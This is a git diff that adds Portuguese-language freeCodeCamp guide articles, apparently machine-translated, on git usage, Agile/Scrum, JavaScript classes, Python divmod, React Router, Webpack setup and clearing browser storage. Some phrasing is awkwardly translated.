+Por exemplo:
+```
+git fetch --all 
+ git reset --hard origin/master 
+```
+
+## Como funciona:
+
+`git fetch` transfere o mais recente do remoto sem tentar mesclar ou rebase nada.
+
+Então o reset do git reseta o branch master para o que você acabou de buscar. A opção `--hard` altera todos os arquivos em sua árvore de trabalho para corresponder aos arquivos em `origin/master` .
+
+## Informação adicional:
+
+Vale a pena notar que é possível manter os commits locais atuais criando uma ramificação a partir do `master` ou qualquer ramificação em que você queira trabalhar antes de redefinir:
+
+Por exemplo:
+```
+git checkout master 
+ git branch new-branch-to-save-current-commits 
+ git fetch --all 
+ git reset --hard origin/master 
+```
+
+Depois disso, todos os commits antigos serão mantidos em `new-branch-to-save-current-commits` . No entanto, alterações não comprometidas (mesmo encenadas) serão perdidas. Certifique-se de esconder e cometer qualquer coisa que você precisa.
+
+## Atribuição:
+
+_Este artigo é baseado em uma pergunta sobre estouro de pilha [aqui](http://stackoverflow.com/questions/1125968/force-git-to-overwrite-local-files-on-pull/8888015#8888015)_
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/programming-fundamentals/index.md b/client/src/guide/portuguese/miscellaneous/programming-fundamentals/index.md
new file mode 100644
index 0000000000..81beccb60c
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/programming-fundamentals/index.md
@@ -0,0 +1,8 @@
+---
+title: Programming Fundamentals
+localeTitle: Fundamentos de programação
+---
+> Primeiro faça, então faça certo, então faça melhor. Este é um aspecto fundamental que tenho sempre em mente quando desenvolvo qualquer coisa.  
+> Se você é um desenvolvedor que deseja aprender algo novo, independentemente do nível de habilidade, lembre-se de que, por mais importante que seja ler, é tão importante quanto sair e _fazer_ .  
+> Crie uma nova essência ou JSBin, abra o console e experimente. É divertido.  
+> \- [Addy Osmani](http://addyosmani.com)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/programming-methodology/index.md b/client/src/guide/portuguese/miscellaneous/programming-methodology/index.md
new file mode 100644
index 0000000000..4bab20a59a
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/programming-methodology/index.md
@@ -0,0 +1,27 @@
+---
+title: Programming Methodology
+localeTitle: Metodologia de Programação
+---
+### Princípios Fundamentais Ágeis
+
+**_Indivíduos e interações_** sobre **_processos e ferramentas_**
+
+**_Software de trabalho_** mais **_abrangente_**
+
+**_Colaboração do cliente_** sobre **_negociação de contrato_**
+
+**_Respondendo para mudar_** **_depois de um plano_**
+
+## Histórias de usuários
+
+Histórias de usuários nos ajudam a vincular as necessidades de nossos usuários diretamente a recursos que implementamos em um formato de conversação. Eles **sempre** seguem esta sintaxe: _"Como Usuário / Stakeholder, eu preciso / quero ser capaz de fazer algo"_ . Isso pode resultar em algumas histórias embaraçosas para os recursos "óbvios" como _"Como usuário, preciso confiar que as informações do meu cartão de crédito estão seguras"._ , mas é imperativo que TODOS os recursos se conectem a uma história para nos permitir efetivamente dividir o trabalho em partes gerenciáveis.
+
+## Sprints
+
+Um "Sprint" é um ciclo de desenvolvimento curto (1-3 semanas) durante o qual um número de histórias ou subtarefas são direcionadas para conclusão até o final do sprint. A ideia por trás do "Sprinting" é nos permitir **entregar** uma história ao campeão do projeto para feedback / aprovação. Esse fluxo de trabalho iterativo garante que recebamos adesão contínua do campeão do projeto e estamos fornecendo funcionalidade que funciona e é valiosa.
+
+## SCRUM
+
+Em um nível básico, o SCRUM nos ajuda a permanecer focados e informados sobre o status de cada tarefa atribuída, além de quebrar as barreiras de comunicação. Em muitos contextos profissionais, o dia de trabalho começa com um "Daily Scrum". Estaremos seguindo um scrum semanal para alinhar com os nossos sprints. Uma falha comum no scrum é tentar solucionar problemas durante um scrum. A solução de problemas e o brainstorming devem sempre ser feitos como uma tarefa separada do SCRUM.
+
+Leia mais [aqui](http://scrummethodology.com/) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/project-tribute-page-tips/index.md b/client/src/guide/portuguese/miscellaneous/project-tribute-page-tips/index.md
new file mode 100644
index 0000000000..efd6e0c720
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/project-tribute-page-tips/index.md
@@ -0,0 +1,33 @@
+---
+title: Project Tribute Page Tips
+localeTitle: Pontas da página do tributo do projeto
+---
+Esta pode ser a primeira página completa que você já criou. Aqui estão algumas dicas para ajudar você a começar com isso:
+
+## Recursos de lista
+
+Liste os recursos exigidos pelas histórias do usuário e quaisquer outras regras que você deve cumprir. Basta escrevê-los em um pedaço de papel. Tê-los no papel e não em um arquivo tornará mais rápido para se referir a eles durante o processo de design.
+
+## Layout sua página no papel
+
+Pode parecer um pouco bobo, mas esta é uma ótima maneira de começar a visualizar como a página deve ser. Os elementos da página com os quais você deve começar podem ser um título, imagens, texto e links.
+
+## Procure por potenciais sujeitos para a sua homenagem
+
+Me escolha! Apenas brincando. Pense em alguém que te inspira e você admira. Uma pessoa famosa. Pesquise-os na wikipedia e, em seguida, consulte as fontes do artigo da wikipedia para ler mais. Não basta copiar o texto da página da Wikipedia para o seu site. Faça o texto original.
+
+## Recoloque o vídeo e foque no layout detalhado usado
+
+Dê uma olhada mais detalhada na página de tributo de exemplo. Entre no chat e peça a alguém para compartilhar sua página de tributo para você. Pesquise on-line por projetos interessantes e veja o que você pode copiar. Há um oceano de grandes sites por aí.
+
+## Use uma biblioteca como sugerido nas regras. Bootstrap é uma biblioteca
+
+A regra 2 indica que você pode usar as bibliotecas de que você precisa. Para poupar tempo, esforço e confusão, o bootstrap é uma biblioteca.
+
+## Seu link externo não está funcionando
+
+Siga as instruções no final do vídeo para saber o que adicionar ao seu hiperlink. Isso deve funcionar.
+
+## Adicionando imagens à sua página
+
+Cuidado para não apenas copiar qualquer imagem que você encontrar. Isso pode violar direitos autorais de alguém. Encontre uma imagem em uma [página de imagem livre](http://www.freeimages.com) e, em seguida, carregue-a em algum lugar, como [photobucket,](http://www.photobucket.com) para obter um link que você possa usar para inserir a imagem na página ou vincular a imagem diretamente da fonte original.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/pseudoclassical-class-definition/index.md b/client/src/guide/portuguese/miscellaneous/pseudoclassical-class-definition/index.md
new file mode 100644
index 0000000000..4ec822681e
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/pseudoclassical-class-definition/index.md
@@ -0,0 +1,39 @@
+---
+title: Pseudoclassical Class Definition
+localeTitle: Definição de classe pseudo-clássica
+---
+A definição de classe clássica ocorre em 2 blocos de código em vez de um, o que acontece em outras linguagens como Python e PHP.
+
+O primeiro bloco é chamado de "Função de Construtor", onde os atributos da classe são declarados. Esses são os aspectos da classe que são exclusivos para cada nova instância. Exemplo com carros é que marca, cor e localização podem ser diferentes. No segundo bloco de código, você declara os métodos que serão compartilhados por cada instância da classe. Exemplos são coisas que o carro pode fazer, dirigir para frente, parar, abrir a porta.
+
+## Exemplo
+```
+var Car = function(brand, color, location) { 
+ this.brand = brand; 
+ this.color = color; 
+ this.location = location 
+ }; 
+ 
+ Car.prototype = { 
+ move: function() { this.location++; }, 
+ stop: function() { this.location = 0; }, 
+ }; 
+```
+
+## Explicação
+
+A razão para declarar a classe inteira em 2 blocos é economizar na memória quando você começa a criar instâncias da classe. Se a declaração de classe era "Funcional", então há uma nova cópia do (s) método (s) feita (s) para **cada** instância. Ao declarar o estilo "Pseudoclássico" da classe, apenas uma _única_ cópia dos métodos é armazenada na memória.
+
+Quando uma instância da classe tenta acessar um método:
+```
+var x_car = new Car('lexus', 'white', 0); 
+ x_car.move(); 
+```
+
+Na verdade, o interpretador falhará _primeiro_ em encontrar o método chamado no próprio objeto, já que ele foi feito a partir da função de construtor Car. Como você pode ver acima, não há referência a nenhum dos métodos na função do construtor Car. A partir daí, o intérprete procura o `Car.prototype` que agora é compartilhado entre todas as instâncias. Lá o intérprete encontra o método que foi chamado!
+
+### Leitura adicional:
+
+[Blog de Natac](https://natacseanc.wordpress.com/2015/08/04/javascript-object-create-and-classes/)
+
+[Classes MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/push-a-new-local-branch-to-a-remote-git-repository-and-track-it-too/index.md b/client/src/guide/portuguese/miscellaneous/push-a-new-local-branch-to-a-remote-git-repository-and-track-it-too/index.md
new file mode 100644
index 0000000000..c947a4a828
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/push-a-new-local-branch-to-a-remote-git-repository-and-track-it-too/index.md
@@ -0,0 +1,11 @@
+---
+title: Push a New Local Branch to a Remote Git Repository and Track it Too
+localeTitle: Empurre uma nova ramificação local para um repositório de Git remoto e acompanhe-a também
+---
+1.  Crie um novo ramo:  
+    `git checkout -b feature_branch_name`
+2.  Edite, adicione e confirme seus arquivos.
+3.  Empurre sua ramificação para o repositório remoto:  
+    `git push -u origin feature_branch_name`
+
+_É simples assim!_
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/python-function-divmod/index.md b/client/src/guide/portuguese/miscellaneous/python-function-divmod/index.md
new file mode 100644
index 0000000000..0571de0a2b
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/python-function-divmod/index.md
@@ -0,0 +1,30 @@
+---
+title: Python Function Divmod
+localeTitle: Função Python Divmod
+---
+# `divmod(a,b)` Python `divmod(a,b)`
+
+`divmod()` é uma função embutida no Python 3, que retorna o quociente e o resto ao dividir o número `a` pelo número `b` . Leva dois números como argumentos `a` & `b` . O argumento não pode ser um número complexo.
+
+## Argumento
+
+São necessários dois argumentos `a` & `b` - um inteiro ou um número decimal. Ele não pode ser um número complexo.
+
+## Valor de retorno
+
+O valor de retorno será o par de números positivos consistindo de quociente e resto obtido dividindo `a` por `b` . No caso de tipos de operandos mistos, regras para operadores aritméticos binários serão aplicadas.  
+Para **argumentos numéricos inteiros** , o valor de retorno será o mesmo que `(a // b, a % b)` .  
+Para **argumentos numéricos decimais** , o valor de retorno será o mesmo que `(q, a % b)` , onde `q` é geralmente **math.floor (a / b),** mas pode ser 1 menor que isso.
+
+## Amostra de código
+```
+print(divmod(5,2)) # prints (2,1) 
+ print(divmod(13.5,2.5)) # prints (5.0, 1.0) 
+ q,r = divmod(13.5,2.5)  # Assigns q=quotient & r= remainder 
+ print(q) # prints 5.0 because math.floor(13.5/2.5) = 5.0 
+ print(r) # prints 1.0 because (13.5 % 2.5) = 1.0 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [REPL It!](https://repl.it/FGLK/0)
+
+[Documentos oficiais](https://docs.python.org/3/library/functions.html#divmod)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/react-router-cheatsheet/index.md b/client/src/guide/portuguese/miscellaneous/react-router-cheatsheet/index.md
new file mode 100644
index 0000000000..02d4ae9099
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/react-router-cheatsheet/index.md
@@ -0,0 +1,99 @@
+---
+title: React Router Cheatsheet
+localeTitle: React Router Cheatsheet
+---
+Baseado em [http://ricostacruz.com/cheatsheets/react-router.html,](http://ricostacruz.com/cheatsheets/react-router.html) mas atualizado para v2.0.0 do React Router.
+
+## Basic
+```
+import { render } from 'react-dom' 
+ import { Router, Route, browserHistory } from 'react-router' 
+ 
+ // Import RootView and NoMatch 
+ 
+ render(( 
+  <Router history={browserHistory}> 
+    <Route path="/" component={RootView} /> 
+    <Route path="*" component={PageNotFound} /> 
+  </Router> 
+ ), document.getElementById('app')) 
+```
+
+## Aninhamento
+```
+import React from 'react' 
+ import { render } from 'react-dom' 
+ import { Router, Route, browserHistory } from 'react-router' 
+ 
+ // Import About, Inbox and Messages 
+ 
+ class Chrome extends React { 
+  render () { 
+    return ( 
+      <div> 
+        <h1>App</h1> 
+        <a href="/about">About</a> 
+        <a href="/inbox">Inbox</a> 
+        <a href="/messages">Messages</a> 
+        { this.props.children } 
+      </div> 
+    ) 
+  } 
+ } 
+ 
+ render(( 
+  <Router history={browserHistory}> 
+    <Route path="/" component={Chrome}> 
+      <Route path="about" component={About} /> 
+      <Route path="inbox" component={Inbox} /> 
+      <Route path="messages" component={Messages} /> 
+    </Route> 
+  </Router> 
+ ), document.getElementById('app')) 
+```
+
+## Params de URL
+```
+class Message extends React { 
+  componentDidMount() { 
+    // from the path `/inbox/messages/:id` 
+    const id = this.props.params.id 
+    ... 
+```
+
+## Ligação
+```
+import { Link } from 'react-router' 
+ 
+ /* Nav Component */ 
+  ... 
+  render() { 
+    ... 
+    const userId = 10; 
+ 
+    return ( 
+      // Adding params is as simple as appending them to the route 
+      <Link to={`user/${userId}`}>User 10</Link> 
+ 
+      // Classes can be added to the link element if the current route is the one they link to 
+      <Link to="login" 
+        activeClassName="-active">Login</Link> 
+    ) 
+  } 
+```
+
+## Outra configuração
+```
+<Route path="/"> 
+  <IndexRoute component={Home} /> 
+  <Route path="*" handler={NotFound} /> 
+ 
+  // arbitrary/url/login -> /arbitrary/url/sessions/new 
+  <Redirect from="login" to="sessions/new" /> 
+  // arbitrary/url/about/1 -> /arbitrary/url/profile/1 
+  <Redirect from="about/:id" to="profile/:id" /> 
+ 
+  <Route name="about-user" ... /> 
+  ... 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/react-with-webpack-file-structure/index.md b/client/src/guide/portuguese/miscellaneous/react-with-webpack-file-structure/index.md
new file mode 100644
index 0000000000..1e9e13887b
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/react-with-webpack-file-structure/index.md
@@ -0,0 +1,110 @@
+---
+title: React with Webpack File Structure
+localeTitle: Reaja com a estrutura de arquivos do Webpack
+---
+Agora é hora de configurar nossa estrutura de arquivos antes de escrevermos qualquer código.
+
+Em primeiro lugar, vamos criar um novo arquivo chamado `.gitignore` :
+```
+touch .gitignore 
+```
+
+Este arquivo conterá uma lista de todos os arquivos e pastas que **não** serão incluídos quando enviarmos o nosso projeto para o GitHub. Existe um site que serve código clichê para arquivos `.gitignore` , o que é muito útil, porque muitas vezes, um arquivo `.gitignore` pode ser bastante longo e detalhado, e podemos esquecer alguns arquivos ou pastas que queremos que o Git ignore.
+
+Vá para [https://www.gitignore.io/](https://www.gitignore.io/) e digite `Node` na barra de pesquisa e clique em `Generate` . Isto irá gerar um arquivo que se parece com isso:
+```
+# Created by https://www.gitignore.io/api/node 
+ 
+ ### Node ### 
+ # Logs 
+ logs 
+ *.log 
+ npm-debug.log* 
+ 
+ # Runtime data 
+ pids 
+ *.pid 
+ *.seed 
+ 
+ # Directory for instrumented libs generated by jscoverage/JSCover 
+ lib-cov 
+ 
+ # Coverage directory used by tools like istanbul 
+ coverage 
+ 
+ # Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files) 
+ .grunt 
+ 
+ # node-waf configuration 
+ .lock-wscript 
+ 
+ # Compiled binary addons (http://nodejs.org/api/addons.html) 
+ build/Release 
+ 
+ # Dependency directories 
+ node_modules 
+ jspm_packages 
+ 
+ # Optional npm cache directory 
+ .npm 
+ 
+ # Optional REPL history 
+ .node_repl_history 
+```
+
+Agora podemos copiar e colar isso no nosso arquivo `.gitignore` .
+
+Observe que o arquivo `.gitignore` deve sempre incluir `node_modules` . Isso é extremamente importante, porque não queremos incluir nossa pasta `node_modules` com nossos commits do Git, pois eles ocupam muito espaço em disco e podem ser instalados com o `npm install` , que se refere ao nosso `package.json` .
+
+A maioria dos arquivos e pastas listados em nosso arquivo `.gitignore` ainda não existe em nosso projeto, mas se eles fizerem no futuro, eles não serão incluídos em nossos commits do Git, o que é importante e útil, porque devemos ser seletiva sobre o que nós cometemos.
+
+Agora, precisamos criar uma nova pasta que contenha o conteúdo do nosso código de **desenvolvimento** . Vamos chamá-lo de `src` :
+```
+mkdir src 
+```
+
+Então, precisamos criar uma pasta que contenha arquivos que usamos para fins de **produção** . Vamos chamar esta pasta `dist` :
+```
+mkdir dist 
+```
+
+*   [Ajuda: Mais sobre as pastas `src` e `dist`](http://stackoverflow.com/questions/23730882/what-is-the-role-of-src-and-dist-folders/23731040#23731040)
+
+Agora que instalamos nossos pacotes e criamos pastas `src` e `dist` vazias, nossa árvore ficará assim (não incluindo `.gitignore` , que é um arquivo oculto):
+```
+. 
+ ├── dist 
+ ├── node_modules 
+ ├── package.json 
+ ├── src 
+ └── webpack.config.js 
+```
+
+Agora, podemos fazer uma nova pasta `js` que entra na nossa pasta `src` . Isto irá conter todo o nosso código React:
+```
+mkdir src/js 
+```
+
+Podemos ir em frente e criar um `client.js` vazio em nosso `src/js` . Este será o nosso arquivo principal React:
+```
+touch src/js/client.js 
+```
+
+Também precisamos de um `index.html` que **não deve** entrar em nossa pasta `src` , e sim em nossa pasta `dist` , porque ela é necessária para a **produção** de nosso aplicativo:
+```
+touch dist/index.html 
+```
+
+Então, agora, nossa árvore parece algo assim:
+```
+. 
+ ├── dist 
+ │   └── index.html 
+ ├── node_modules 
+ ├── package.json 
+ ├── src 
+ │   └── js 
+ │       └── client.js 
+ └── webpack.config.js 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/refresh-your-browser-cache/index.md b/client/src/guide/portuguese/miscellaneous/refresh-your-browser-cache/index.md
new file mode 100644
index 0000000000..e41d708244
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/refresh-your-browser-cache/index.md
@@ -0,0 +1,15 @@
+---
+title: Refresh Your Browser Cache
+localeTitle: Atualize seu cache do navegador
+---
+Você pode ter que fazer uma "hard refresh" de uma página em seu navegador se você tiver uma versão em cache e desatualizada do site.
+
+Enquanto estiver no site problemático, use a combinação de teclas abaixo para acionar uma atualização difícil, dependendo do seu sistema operacional:
+
+*   Windows: `CTRL + F5`
+*   Mac / Apple: `Apple + Shift + R or Command + Shift + R`
+*   Linux: `F5`
+
+Para saber mais sobre isso, leia: [http://refreshyourcache.com/en/cache/](http://refreshyourcache.com/en/cache/)
+
+Se uma atualização não funcionar, tente abrir a página problemática no modo de navegação privada do seu navegador.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/registering-your-nonprofit-to-raise-donations-through-free-code-camp-commit/index.md b/client/src/guide/portuguese/miscellaneous/registering-your-nonprofit-to-raise-donations-through-free-code-camp-commit/index.md
new file mode 100644
index 0000000000..75c6d2de26
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/registering-your-nonprofit-to-raise-donations-through-free-code-camp-commit/index.md
@@ -0,0 +1,12 @@
+---
+title: Registering Your Nonprofit to Raise Donations Through Free Code Camp Commit
+localeTitle: Registrando sua organização sem fins lucrativos para aumentar as doações através do Free Code Camp Commit
+---
+Nosso programa de commit contará com uma única organização sem fins lucrativos por padrão, e dará aos participantes a opção de navegar por uma lista de outras entidades sem fins lucrativos que eles possam se comprometer se quiserem.
+
+Se você gostaria de ser adicionado à nossa lista de organizações sem fins lucrativos com as quais nossos participantes podem se comprometer, envie um email para team@freecodecamp.com com as seguintes informações:
+
+*   O URL de uma foto quadrada de pelo menos 300 x 300 pixels que represente sua organização (de preferência, uma foto de ação do que sua organização faz com as pessoas nela)
+*   Um link direto para sua página de doação ou uma página com um botão de doação embutido (sua página de doações precisa ter a opção de pagamento mensal recorrente e permitir incrementos de US $ 5, US $ 10, US $ 25 e US $ 50).
+
+Se aceitarmos você, forneceremos uma URL especial que leva diretamente à página de Confirmação da sua organização sem fins lucrativos. Você pode compartilhar suas mídias sociais para incentivar as pessoas a se comprometerem com sua organização sem fins lucrativos através do Free Code Camp Commit.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/regular-expressions-resources/index.md b/client/src/guide/portuguese/miscellaneous/regular-expressions-resources/index.md
new file mode 100644
index 0000000000..9ea9dd4472
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/regular-expressions-resources/index.md
@@ -0,0 +1,37 @@
+---
+title: Regular Expressions Resources
+localeTitle: Recursos de expressões regulares
+---
+> Links para recursos RegEx úteis.
+
+*   [**Tutorial de Introdução**](http://regexone.com) (recomendado pelo FCC)
+*   [**RegEx 101**](https://regex101.com)
+
+## Tutorial e Guias RegEx
+
+*   [**Tutorial RegEx**](http://www.regular-expressions.info/tutorial.html) (explicação detalhada)
+*   [**Cheatsheet RegEx**](http://www.cheatography.com/davechild/cheat-sheets/regular-expressions)
+*   [**Guia do MDN RegEx**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions)
+*   [**FAQ do StackOverflow RegEx**](http://stackoverflow.com/a/22944075/1262108)
+*   [**Tutorial de Vídeo RegEx**](https://www.youtube.com/watch?v=EkluES9Rvak)
+
+## Campo de testes RegEx
+
+*   [**RegEx Visualizer**](https://www.debuggex.com/?flavor=javascript)
+*   [**Desafios RegEx em Hackerrank**](https://www.hackerrank.com/domains/algorithms/regex) (prática)
+*   [**RegEx Regexplained**](https://leaverou.github.io/regexplained/)
+
+## Jogabilidade RegEx
+
+*   [**RegEx Golf**](http://regex.alf.nu)
+*   [**Palavras cruzadas RegEx**](http://regexcrossword.com)
+
+## Blog RegEx
+
+*   [**Ovo Rex**](http://www.rexegg.com)
+
+## Auxílios de software RegEx
+
+*   [**RegExBuddy**](http://www.regexbuddy.com) (proprietário)
+*   [**Expresso**](http://www.ultrapico.com/expresso.htm) (grátis)
+*   [**Treinador RegEx**](http://www.weitz.de/regex-coach/) (grátis)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/removing-all-locally-stored-challenges/index.md b/client/src/guide/portuguese/miscellaneous/removing-all-locally-stored-challenges/index.md
new file mode 100644
index 0000000000..722e9d1100
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/removing-all-locally-stored-challenges/index.md
@@ -0,0 +1,19 @@
+---
+title: Removing All Locally Stored Challenges
+localeTitle: Removendo todos os desafios armazenados localmente
+---
+Remover todos os seus desafios armazenados localmente resolverá muitos problemas relacionados ao travamento do navegador no FreeCodeCamp
+
+No Chrome:
+
+*   No [freecodecamp](https://freecodecamp.com) abra seu console
+    *   Windows: `Ctrl` + `Shift` + `J`
+    *   Mac OS: `Cmd` + `Opt` + `J`
+*   Vá para a guia de recursos (chrome).
+    *   Clique no link "Local Storage" na barra de navegação à direita.
+*   Exclua todas as entradas no lado direito ou execute este comando no console do seu navegador para limpar todas as entradas do localStorage: `localStorage.clear();`
+*   Veja se isso resolve seu problema
+
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/9/9ea6a9cf48282cbf2aa766a6aa5ce59218c80528.png)
+
+Alternativamente, se você está tendo problemas com um desafio específico para congelar seu navegador, [encontre o nome desse desafio no armazenamento local e exclua apenas esse](http://forum.freecodecamp.com/t/clear-specific-values-from-your-browser-local-storage/19128) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/rename-local-branches-in-git/index.md b/client/src/guide/portuguese/miscellaneous/rename-local-branches-in-git/index.md
new file mode 100644
index 0000000000..85f20cd7f5
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/rename-local-branches-in-git/index.md
@@ -0,0 +1,22 @@
+---
+title: Rename Local Branches in Git
+localeTitle: Renomear Ramificações Locais no Git
+---
+Para renomear uma ramificação local, digite o seguinte no terminal:
+
+> `-m` significa move, assim como o `mv` é usado no linux para renomear arquivos.
+```
+git branch -m <oldname> <newname> 
+```
+
+Se você já fez o check out do branch que deseja alterar:
+```
+git branch -m <newname> 
+```
+
+Aqui está um exemplo de renomear o ramo `feature/react-challenges` para `fix/react-hikes` react `fix/react-hikes` de FreeCodeCamp:
+```
+git checkout feature/react-challenges 
+ git branch -m fix/react-hikes 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/restrict-access-to-authenticated-users-only/index.md b/client/src/guide/portuguese/miscellaneous/restrict-access-to-authenticated-users-only/index.md
new file mode 100644
index 0000000000..2f1c9df061
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/restrict-access-to-authenticated-users-only/index.md
@@ -0,0 +1,15 @@
+---
+title: Restrict Access to Authenticated Users Only
+localeTitle: Restringir o acesso apenas aos usuários autenticados
+---
+Digamos que você tenha uma rota que você deseja restringir a usuários logados; talvez você tenha uma página `/profile` que permita que seus usuários preencham algumas informações sobre si mesmos, mas não funcionaria se eles não estivessem logados. Abra **/client/app/profile/profile.js** e adicione `authenticate: true` para as opções passadas para _$ routeProvider.when_ assim:
+```
+    $routeProvider 
+      .when('/profile', { 
+        templateUrl: 'app/profile/profile.html', 
+        controller: 'ProfileCtrl', 
+        authenticate: true // restrict to authenticated users 
+      }); 
+```
+
+Dessa forma, se o usuário não for autenticado quando tentar acessar a página `/profile` , ele será redirecionado para sua tela de login para ser autenticado antes de continuar na página de perfil.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/reto-de-algoritmo-bu/index.md b/client/src/guide/portuguese/miscellaneous/reto-de-algoritmo-bu/index.md
new file mode 100644
index 0000000000..19bcf40430
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/reto-de-algoritmo-bu/index.md
@@ -0,0 +1,45 @@
+---
+title: Reto De Algoritmo Bu
+localeTitle: Algoritmo Desafio Bu
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/3/3c8584a085a0deaea66b3400e6321eeadab552a2.jpg)
+
+### Explicação do problema:
+
+*   Este programa é muito simples, o truque é entender que é um booleano primitivo. O programa recebe um parâmetro verdadeiro ou falso.
+
+## Dica: 1
+
+*   Você deve verificar se o tipo de parâmetro recebido é boolaneo.
+
+## Dica: 2
+
+*   Para verificar o tipo de um parâmetro, você pode usar `typeof`
+
+## Dica: 3
+
+*   Como você deve retornar true ou false, é possível usar uma instrução if ou simplesmente retornar a instrução que você usaria na instrução if.
+
+## Alerta de spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução abaixo!**
+
+## Solução de código:
+```
+function booWho(bool) { 
+  return typeof bool === 'boolean'; 
+ } 
+ 
+ // realizamos el test 
+ booWho(null); 
+```
+
+![:rocket:](/images/emoji/emoji_one/rocket.png?v=2 "foguete:") [Na REPL!](https://repl.it/CLnK/0)
+
+# Explicação do código:
+
+Usamos o operador `typeof` para verificar se uma variável é boolanea. Se for, ele retornará `true` . Caso contrário, ser outro tipo retornará `falso` .
+
+> **NOTA:** Por favor, adicione seu nome de usuário somente se você adicionou **conteúdo relevante** ao artigo. (Por favor, não remova nenhum nome existente.)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/running-webpack-and-webpack-dev-server/index.md b/client/src/guide/portuguese/miscellaneous/running-webpack-and-webpack-dev-server/index.md
new file mode 100644
index 0000000000..7a92972b6a
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/running-webpack-and-webpack-dev-server/index.md
@@ -0,0 +1,124 @@
+---
+title: Running Webpack and Webpack Dev Server
+localeTitle: Executando o Webpack e o Webpack Dev Server
+---
+Chegou a hora de usar o Webpack. Como o Webpack é instalado globalmente, podemos executar o seguinte em nosso terminal:
+```
+webpack 
+```
+
+Isto irá executar o nosso arquivo `webpack.config.js` . Ele deve ser executado com sucesso, e devemos ver algo assim aparecer no nosso terminal:
+```
+Hash: 2474b15611d8d75c5a39 
+ Version: webpack 1.12.14 
+ Time: 1721ms 
+    Asset    Size  Chunks             Chunk Names 
+ bundle.js  679 kB       0  <a href='https://webpack.github.io/docs/webpack-dev-server.html' target='_blank' rel='nofollow'>emitted]  main 
+    + 159 hidden modules 
+```
+
+Observe que ele se refere a um `Asset` chamado `bundle.js` . O Webpack está nos dizendo que esse arquivo foi criado quando executamos o comando `webpack` . Confira sua pasta `dist` e você deverá ver seu `bundle.js` ao lado de seu `index.html` .
+
+Nossa árvore agora ficará assim:
+```
+. 
+ ├── dist 
+ |   ├── bundle.js 
+ │   └── index.html 
+ ├── node_modules 
+ ├── package.json 
+ ├── src 
+ │   └── js 
+ │       └── client.js 
+ └── webpack.config.js 
+```
+
+Portanto, agora que temos um `dist/bundle.js` , nosso arquivo `dist/index.html` agora está se referindo a um arquivo que existe! Se dermos uma olhada em `bundle.js` , veremos que é um pacote de todos os arquivos JavaScript em nosso projeto. Legal!
+
+Vá em frente e procure por alguns conteúdos do nosso `dist/bundle.js` , como `This is one cool app!` . Podemos ver seu contexto no arquivo, está dentro de um método esquisito:
+```
+_createClass(Main, [{ 
+  key: 'render', 
+  value: function render() { 
+    return _react2.default.createElement( 
+      'div', 
+      null, 
+      _react2.default.createElement( 
+        'h1', 
+        null, 
+        'This is one cool app!' 
+      ) 
+    ); 
+  } 
+ }]); 
+```
+
+Isso é o que Babel fez; ele converteu o código para ES5 e o empacotou entre outros arquivos JavaScript - incluindo todos os nossos Módulos Node, é claro. Agora todos os nossos arquivos React podem se referir a este pacote usando `import` instruções de `import` ES6.
+
+Finalmente, é hora de verificar o aplicativo em um navegador. Para isso, vamos usar o Webpack Dev Server, que é uma ferramenta rica em recursos para configurar um servidor `localhost` para fins de desenvolvimento ao usar o Webpack.
+
+*   \[Ajuda: Mais sobre o Webpack Dev Server
+
+Vá em frente e corra:
+```
+webpack-dev-server --content-base dist 
+```
+
+Precisamos incluir `--content-base dist` para especificar uma base de conteúdo para o Webpack Dev Server, para que ele saiba onde obter os arquivos a serem atendidos; neste caso, é a pasta `dist` , porque essa é a pasta que estamos usando para **produção** em oposição à pasta `src` , que estamos usando para _desenvolvimento_ \*.
+
+Em nosso terminal, devemos ver algo como o seguinte:
+```
+http://localhost:8080/webpack-dev-server/ 
+ webpack result is served from / 
+ content is served from /Code/react-webpack-example/dist 
+ Hash: 2474b15611d8d75c5a39 
+ Version: webpack 1.12.14 
+ Time: 3738ms 
+```
+
